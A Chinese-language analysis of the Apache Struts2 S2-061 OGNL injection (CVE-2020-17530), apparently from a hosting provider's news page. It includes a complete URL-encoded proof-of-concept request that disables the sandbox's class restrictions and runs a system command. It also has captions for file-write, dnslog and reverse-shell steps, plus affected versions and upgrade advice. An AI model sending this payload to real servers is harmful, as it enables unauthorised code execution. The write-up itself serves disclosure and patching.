Apache Struts2-61远程代码执行CVE-2020-17530漏洞的示例分析
Apache Struts2-61远程代码执行CVE-2020-17530漏洞的示例分析
今天就跟大家聊聊有关Apache Struts2-61远程代码执行CVE-2020-17530漏洞的示例分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。
漏洞描述
Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。本次漏洞是对S2-059漏洞修复后的绕过。S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行。但是在最新版本2.5.26版本中OGNL表达式的执行也修复了。
此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。
漏洞复现
poc
GET /?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))} HTTP/1.1 Host: ip:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close
读取id
写文件
测试dnslog
反弹shell
影响版本
Apache Struts 2.0.0 – 2.5.25
安全建议
(1)将Apache Struts框架升级至最新版本。
(2)或者开启ONGL表达式注入保护措施,过滤%{}表达式
(3)在部署环境时建议使用最小化部署,使用最小包进行部署,避免出现漏洞。
看完上述内容,你们对Apache Struts2-61远程代码执行CVE-2020-17530漏洞的示例分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注高防服务器网行业资讯频道,感谢大家的支持。
[微信提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。
[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]
[